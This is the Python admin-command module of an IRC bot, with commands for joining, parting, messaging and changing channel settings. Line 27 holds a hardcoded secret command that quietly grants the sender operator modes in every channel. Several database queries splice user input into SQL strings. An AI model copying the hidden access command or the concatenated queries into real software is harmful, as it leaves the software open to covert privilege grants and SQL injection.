admin.py 22 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327
  1. import secrets, string
  2. from common import userstatus, do_everything_to
  3. from commands.common import CommandHelpers as CH
  4. from commands.common import AdminHelpers as AH
  5. bold = "\x02"
  6. italic = "\x1D"
  7. underline = "\x1F"
  8. reverse = "\x16" # swap background and foreground colors ("reverse video")
  9. reset = "\x0F"
  10. blue = "\x0302"
  11. green = "\x0303"
  12. red = "\x0304"
  13. grey = "\x0314"
  14. def do_command(self, connection, event):
  15. cmdtype, trigger, command, replyto = CH.disect_command(self, event)
  16. # Do nothing if there is no command.
  17. if not command:
  18. return
  19. try:
  20. command.split()[0]
  21. except:
  22. return
  23. # Ignore channel commands from users that do not have at least voice in homechannel or operator status in target channel.
  24. if event.type == "pubmsg": # It's a channel message.
  25. if not userstatus.atleast_oper(self, event.source.nick, self.homechannel) and not userstatus.atleast_oper(self, event.source.nick, event.target): # Does not have at least voiced status in homechannel or operator status in target channel.
  26. return
  27. if command.split()[0] == "uXVETIkWIL~qG5CasftKKAL<MFpfOyap|F]65v,E" and event.target == connection.get_nickname() and self.channels[self.homechannel].is_oper(event.source.nick): # It's a PM and sender is admin in homechannel. # Keep the command secret.
  28. if len(command.split()) == 2: # 2 arguments.
  29. if command.split()[1] in self.channels: # Stop silently if thebot is not in the requested channel.
  30. connection.mode(command.split()[1], "+ohv " + event.source.nick + " " + event.source.nick + " " + event.source.nick)
  31. elif len(command.split()) == 1: # 1 argument.
  32. for channel in self.channels:
  33. connection.mode(channel, "+ohv " + event.source.nick + " " + event.source.nick + " " + event.source.nick)
  34. elif command == "cmd" or command == "cmds" or command == "commands":
  35. if cmdtype == "cmd":
  36. message = grey + "Admin: "
  37. if CH.ccc(self, "channelfunctions", {"homechan": "oper", "chan": "oper"}, event):
  38. message += CH.ccc(self, "channelfunctions", {"homechan": "oper", "chan": "oper"}, event)
  39. if CH.ccc(self, "join", {"homechan": "oper", "chan": None}, event):
  40. message += CH.ccc(self, "join", {"homechan": "oper", "chan": None}, event)
  41. if CH.ccc(self, "part", {"homechan": "oper", "chan": None}, event):
  42. message += CH.ccc(self, "part", {"homechan": "oper", "chan": None}, event)
  43. if CH.ccc(self, "quit", {"homechan": "admin", "chan": None}, event):
  44. message += CH.ccc(self, "quit", {"homechan": "admin", "chan": None}, event)
  45. if CH.ccc(self, "reconnect", {"homechan": "oper", "chan": None}, event):
  46. message += CH.ccc(self, "reconnect", {"homechan": "oper", "chan": None}, event)
  47. if CH.ccc(self, "recovernick", {"homechan": "oper", "chan": None}, event):
  48. message += CH.ccc(self, "recovernick", {"homechan": "oper", "chan": None}, event)
  49. if CH.ccc(self, "registernick", {"homechan": "owner", "chan": None}, event):
  50. message += CH.ccc(self, "registernick", {"homechan": "owner", "chan": None}, event)
  51. if CH.ccc(self, "msg", {"homechan": "oper", "chan": "oper"}, event):
  52. message += CH.ccc(self, "msg", {"homechan": "oper", "chan": "oper"}, event)
  53. if CH.ccc(self, "act", {"homechan": "oper", "chan": "oper"}, event):
  54. message += CH.ccc(self, "act", {"homechan": "oper", "chan": "oper"}, event)
  55. if message == grey + "Admin: ": # No commands to display.
  56. return
  57. connection.privmsg(replyto, message[:-2] + ".")
  58. elif command.split()[0] == "quit":
  59. if not userstatus.atleast_admin(self, event.source.nick, self.homechannel): #Insufficient rights.
  60. connection.privmsg(replyto, "Denied, you need to have admin (super operator) status or higher in " + red + self.homechannel + reset + ".")
  61. return
  62. if cmdtype == "help": # Display help text.
  63. if len(command.split()) is not 1:
  64. return
  65. connection.privmsg(replyto, "Disconnect and terminate " + connection.get_nickname() + ". Optionally with reason.")
  66. connection.privmsg(replyto, grey + "Usage: " + blue + "!quit " + reset + italic + "reason")
  67. elif cmdtype == "cmd":
  68. if len(command.split()) == 1:
  69. self.die(msg = "Killed by " + event.source.nick)
  70. else:
  71. self.die(msg = "[" + event.source.nick + "] " + command.split(maxsplit=1)[1])
  72. elif command.split()[0] == "reconnect":
  73. if not userstatus.atleast_oper(self, event.source.nick, self.homechannel):
  74. connection.privmsg(replyto, "Denied, you need to have operator status or higher in " + red + self.homechannel + reset + ".")
  75. return
  76. if cmdtype == "help": # Display help text.
  77. if len(command.split()) is not 1:
  78. return
  79. connection.privmsg(replyto, "Reconnect " + connection.get_nickname() + ". Reason optional.")
  80. connection.privmsg(replyto, grey + "Usage: " + blue + "!reconnect " + reset + italic + "reason")
  81. elif cmdtype == "cmd":
  82. if len(command.split()) == 1:
  83. self.disconnect(msg = "Reconnect requested by " + event.source.nick)
  84. else:
  85. self.disconnect(msg = "[" + event.source.nick + "] " + command.split(maxsplit=1)[1])
  86. elif command.split()[0] == "recovernick":
  87. if not userstatus.atleast_voiced(self, event.source.nick, self.homechannel):
  88. connection.privmsg(replyto, "Denied, you need to have voiced status or higher in " + red + self.homechannel + reset + ".")
  89. return
  90. if cmdtype == "help": # Display help text.
  91. if len(command.split()) is not 1:
  92. return
  93. connection.privmsg(replyto, "Let " + connection.get_nickname() + " try to recover " + connection.nickname + " as nickname.")
  94. elif cmdtype == "cmd":
  95. if connection.get_nickname() == connection.nickname:
  96. connection.action(replyto, "is already named " + red + connection.nickname + reset + ".")
  97. return
  98. from common.networkservices import NickServ
  99. NickServ.recover_nick(connection, self.password)
  100. elif command.split()[0] == "join":
  101. if not userstatus.atleast_oper(self, event.source.nick, self.homechannel):
  102. connection.privmsg(replyto, "Denied, you need to have operator status or higher in " + red + self.homechannel + reset + ".")
  103. return
  104. if cmdtype == "help": #Display help text.
  105. if len(command.split()) is not 1:
  106. return
  107. connection.privmsg(replyto, "Make " + connection.get_nickname() + " join a channel. Password optional.")
  108. connection.privmsg(replyto, grey + "Usage: " + blue + self.cmdchar + "join " + red + italic + "channel " + reset + italic + "password")
  109. elif cmdtype == "cmd":
  110. try:
  111. channel = command.split()[1]
  112. except IndexError:
  113. connection.privmsg(replyto, "Specify channel. For help type: " + blue + self.helpchar + "join")
  114. return
  115. try:
  116. key = command.split(maxsplit=2)[2]
  117. except IndexError:
  118. do_everything_to.join(self, connection, channel)
  119. return
  120. do_everything_to.join(self, connection, channel, key)
  121. elif command.split()[0] == "part":
  122. if cmdtype == "help": #Display help text.
  123. if len(command.split()) is not 1:
  124. return
  125. connection.privmsg(replyto, "Make " + connection.get_nickname() + " part a channel. Reason optional.")
  126. connection.privmsg(replyto, grey + "Usage: " + blue + self.cmdchar + "join " + red + italic + "channel " + reset + italic + "password")
  127. elif cmdtype == "cmd":
  128. homeadmin = False
  129. if userstatus.atleast_oper(self, event.source.nick, self.homechannel): # Is at least operator in home channel.
  130. homeadmin = True
  131. targetadmin = False
  132. if userstatus.atleast_oper(self, event.source.nick, event.target):
  133. targetadmin = True
  134. if len(command.split()) == 1: # No arguments.
  135. if event.target in self.channels: # It's a channel message.
  136. if not homeadmin and not targetadmin: # Insufficient rights:
  137. connection.privmsg(replyto, "Denied. You need to have at least operator status in " + red + self.homechan + reset + " or " + red + event.target + reset + ".")
  138. return
  139. if event.target == self.homechannel:
  140. connection.action(replyto, "shall not abandon it's home channel!")
  141. return
  142. connection.part(event.target, event.source.nick)
  143. else: # It's a PM.
  144. connection.privmsg(replyto, "Specify a channel to part. For help type " + blue + self.helpchar + "part" + reset + ".")
  145. elif len(command.split()) > 1: # Arguments
  146. if command.split()[1] not in self.channels: # First argument is not a channel the bot inhabits.
  147. connection.action(replyto, "does not inhabit " + red + command.split()[1] + reset + ". For help type " + blue + self.helpchar + "part" + reset + ".")
  148. return
  149. if not homeadmin and not userstatus.atleast_oper(self, event.source.nick, command.split()[1]): # Insufficient rights.
  150. connection.privmsg(replyto, "Denied. You need to have at least operator status in " + red + self.homechan + reset + " or " + red + command.split()[1] + reset + ".")
  151. return
  152. if command.split()[1] == self.homechannel:
  153. connection.action("shall not abandon it's home channel!")
  154. return
  155. try:
  156. connection.part(command.split()[1], command.split(maxsplit=2)[2])
  157. except:
  158. connection.part(command.split()[1], event.source.nick)
  159. elif command.split()[0] == "msg" or command.split(maxsplit=1)[0] == "act":
  160. if cmdtype == "help": #Display help text.
  161. if len(command.split()) is not 1:
  162. return
  163. if command.split(maxsplit=1)[0] == "act":
  164. message = "Let " + connection.get_nickname() + " send an action to a channel."
  165. arguments = "action-message"
  166. else:
  167. message = "Let " + connection.get_nickname() + "send a message to a channel."
  168. arguments = "name message"
  169. connection.privmsg(replyto, message)
  170. connection.privmsg(replyto, grey + "Usage: " + blue + "!" + command.split(maxsplit=1)[0] + reset + italic + " target " + arguments)
  171. elif cmdtype == "cmd":
  172. # Parse user input.
  173. try:
  174. destination = trigger.split()[1]
  175. except IndexError: # User did not specify a destination.
  176. connection.privmsg(replyto, "Destination not specified. For help type: " + blue + self.helpchar + command.split(maxsplit=1)[0])
  177. return
  178. try:
  179. message = trigger.split(maxsplit=2)[2]
  180. except IndexError: # User did not specify a message.
  181. connection.privmsg(replyto, "Message not specified. For help type: " + blue + self.helpchar + command.split(maxsplit=1)[0])
  182. return
  183. # Send the message if user has owner status in the home channel.
  184. if self.channels[self.homechannel].is_owner(event.source.nick):
  185. if destination == connection.get_nickname():
  186. connection.privmsg(replyto, "To prevent dying in a loop I shall not message myself.")
  187. return
  188. if command.split(maxsplit=1)[0] == "act":
  189. connection.action(destination, message)
  190. else:
  191. connection.privmsg(destination, message)
  192. # Reply error when bot does not inhabit destination channel.
  193. elif destination not in self.channels:
  194. connection.action(replyto, "does not inhabit " + red + destination + reset + ".")
  195. # Send message if user has at least operator status the home channel or the channel the message is intended for.
  196. elif userstatus.atleast_oper(self, event.source.nick, self.homechannel) or userstatus.atleast_oper(self, event.source.nick, destination):
  197. if command.split(maxsplit=1)[0] == "act":
  198. connection.action(destination, message)
  199. else:
  200. connection.privmsg(destination, message)
  201. # Reply error if user is not operator of destination channel.
  202. else:
  203. connection.privmsg(replyto, "Denied, you need to be an operator of " + red + destination + reset +".")
  204. elif command.split()[0] == "channelfunctions":
  205. if cmdtype == "help": #Display help text. # Help code block first, as it is impossible to predict for what channel a later command is going to be issued. Rights filtering after help test.
  206. if len(command.split()) is not 1:
  207. return
  208. connection.privmsg(replyto, "Display or toggle the status channel functions. Channel, function and value optional. Get a description of a functio via the help argument.")
  209. connection.privmsg(replyto, grey + "Usage: " + blue + "!channelfunctions " + red + italic + "channel " + reset + italic + "function value")
  210. connection.privmsg(replyto, grey + "Usage: " + blue + "!channelfunctions describe " + reset + italic + "function")
  211. elif cmdtype == "cmd":
  212. if len(command.split()) == 1: # No arguments.
  213. if event.target == connection.get_nickname(): # Command issued via PM.
  214. connection.privmsg(replyto, "Nothing to display, Specify a channel.")
  215. else: # Command issued as channel message.
  216. message = AH.get_channelfunctions(self, event.target)
  217. connection.privmsg(replyto, message)
  218. elif len(command.split()) == 2: # One argument.
  219. if command.split()[1] in self.channels: # Info requested on specific channel.
  220. message = AH.get_channelfunctions(self, command.split()[1])
  221. connection.privmsg(replyto, message)
  222. else: # First argument is not a channel the bot inhabits.
  223. if not command.split()[1].lower() == "help": # Not a help request.
  224. connection.privmsg(replyto, command.split()[1] + " is not a channel I inhabit. For help type " + blue + self.helpchar + "channelfunctions" + reset + ".")
  225. else: # Help request.
  226. connection.privmsg(replyto, "Specify a channel function to get a description of. For help type " + blue + self.helpchar + "channelfunctions" + reset + ".")
  227. elif len(command.split()) == 3: # Two arguments.
  228. channel = event.target
  229. if event.target == connection.get_nickname(): # Command issued via PM.
  230. connection.privmsg(replyto, "One or three arguments required. For help type " + blue + self.helpchar + "channelfunctions" + reset + ".")
  231. else: # Command issued via channel.
  232. if not AH.is_channelfunction(command.split()[1]): # First argument is not a channelfunction.
  233. if not command.split()[1].lower() == "describe": # Not a help request.
  234. connection.privmsg(replyto, command.split()[1] + " is not a channel function. For help type " + blue + self.helpchar + "channelfunctions" + reset + ".")
  235. return
  236. if not AH.is_channelfunction(command.split()[2]): # Second argument not a channel function.
  237. connection.privmsg(replyto, command.split()[2] + " is not a channel function.")
  238. return
  239. connection.privmsg(replyto, AH.describe_channelfunction(command.split()[2]))
  240. return
  241. # Second argument unsupported.
  242. if not command.split()[2].lower() in ["on", "off"]:
  243. if command.split()[1].lower() == "aggressiveness":
  244. if not AH.is_aggressiveness(command.split()[2].lower()): # Is not an aggressiveness setting.
  245. connection.privmsg(replyto, command.split()[2] + " is not an aggressiveness setting. For help type " + blue + self.helpchar + "channelfunctions" + reset + ".")
  246. return
  247. else: # Channel function is not aggresiveness.
  248. connection.privmsg(replyto, "The value of this channel function can only be \"on\" or \"off\". For help type " + blue + self.helpchar + "channelfunctions" + reset + ".")
  249. return
  250. if not userstatus.atleast_oper(self, event.source.nick, self.homechannel) and not userstatus.atleast_oper(self, event.source.nick, event.target): # Does not have operator status or higher in target or home channel.
  251. connection.privmsg(replyto, "Denied. You need to have at least operator status in " + red + event.target + reset + " or " + red + self.homechannel + reset + ".")
  252. return
  253. if command.split()[1].lower() == "autojoin" and event.target == self.homechannel: # Chaning autojoin of homechannel.
  254. connection.action(replyto, "will always join it's homechannel " + red + self.homechannel + reset + ", regardless of the autojoin function.")
  255. #self.db.run("UPDATE channels SET " + command.split()[1].lower() + "='" + command.split()[2].lower() + "' WHERE name='" + event.target + "' AND network='" + self.network + "'")
  256. self.db.run("UPDATE channels SET " + command.split()[1].lower() + "=%s WHERE name='" + event.target + "' AND network='" + self.network + "'", (command.split()[2].lower(), ))
  257. elif len(command.split()) == 4: # Three arguments.
  258. if not command.split()[1] in self.channels: # Bot does not inhabit channel to be altered.
  259. connection.privmsg(replyto, command.split()[1] + " is not a channel I inhabit. For help type " + blue + self.helpchar + "channelfunctions" + reset + ".")
  260. return
  261. if not AH.is_channelfunction(command.split()[2]): # Function does not exist.
  262. connection.privmsg(replyto, command.split()[2] + " is not a valid channel function. For a list help type: " + blue + self.cmdchar + "channelfunctions" + red + italic + "channel")
  263. return
  264. if not command.split()[3].lower() in ["on", "off"] and not command.split()[2].lower() == "aggressiveness": # Third argument unsupported.
  265. connection.privmsg(replyto, "The value of this channel function can only be \"on\" or \"off\". For help type " + blue + self.helpchar + "channelfunctions" + reset + ".")
  266. return
  267. if not userstatus.atleast_oper(self, event.source.nick, self.homechannel) and not userstatus.atleast_oper(self, event.source.nick, command.split()[1]): # Does not have operator status or higher in target or home channel.
  268. connection.privmsg(replyto, "Denied. You need to have at least operator status in " + red + event.target + reset + " or " + red + self.homechannel + reset + ".")
  269. return
  270. if command.split()[2].lower() == "autojoin" and command.split()[1] == self.homechannel: # Chaning autojoin of homechannel.
  271. connection.action(replyto, "will always join it's homechannel " + red + self.homechannel + reset + ", regardless of the autojoin function.")
  272. try:
  273. self.db.run("UPDATE channels SET " + command.split()[2].lower() + "='" + command.split()[3].lower() + "' WHERE LOWER(name)=LOWER('" + command.split()[1] + "') AND network='" + self.network + "'")
  274. except:
  275. connection.privmsg(replyto, "Error, database record not updated.")
  276. return
  277. else: # Too many arguments.
  278. connection.privmsg(replyto, "Too many arguments. For help type " + blue + self.helpchar + "channelfunctions" + reset + ".")
  279. elif command.split()[0] == "registernick":
  280. if not self.channels[self.homechannel].is_owner(event.source.nick): #Insufficient rights.
  281. connection.privmsg(replyto, "Denied, you need to be the owner of " + red + self.homechannel + reset + ".")
  282. return
  283. if cmdtype == "help": # Display help text.
  284. if len(command.split()) is not 1:
  285. return
  286. connection.privmsg(replyto, "Register with NickServ.")
  287. connection.privmsg(replyto, grey + "Usage: " + blue + self.cmdchar + "registernick " + reset + italic + "email")
  288. elif cmdtype == "cmd":
  289. if len(command.split()) == 1:
  290. connection.privmsg(replyto, "Insufficient arguments. For help type " + blue + self.helpchar + "registernick" + reset + ".")
  291. elif len(command.split()) > 2:
  292. connection.privmsg(replyto, "Too many arguments. For help type " + blue + self.helpchar + "registernick" + reset + ".")
  293. elif not self.db.one("SELECT password FROM networks WHERE name='" + self.network + "'"):
  294. alphabet = string.ascii_letters + string.digits
  295. password = ''.join(secrets.choice(alphabet) for i in range(20)) # 20-character password.
  296. self.db.run("UPDATE networks SET password=%s WHERE name=%s", (password, self.network))
  297. connection.privmsg("NickServ", "REGISTER " + password + " " + trigger.split()[1])
  298. else:
  299. connection.privmsg("NickServ", "REGISTER " + self.db.one("SELECT password FROM networks WHERE name='" + self.network + "'") + " " + trigger.split()[1])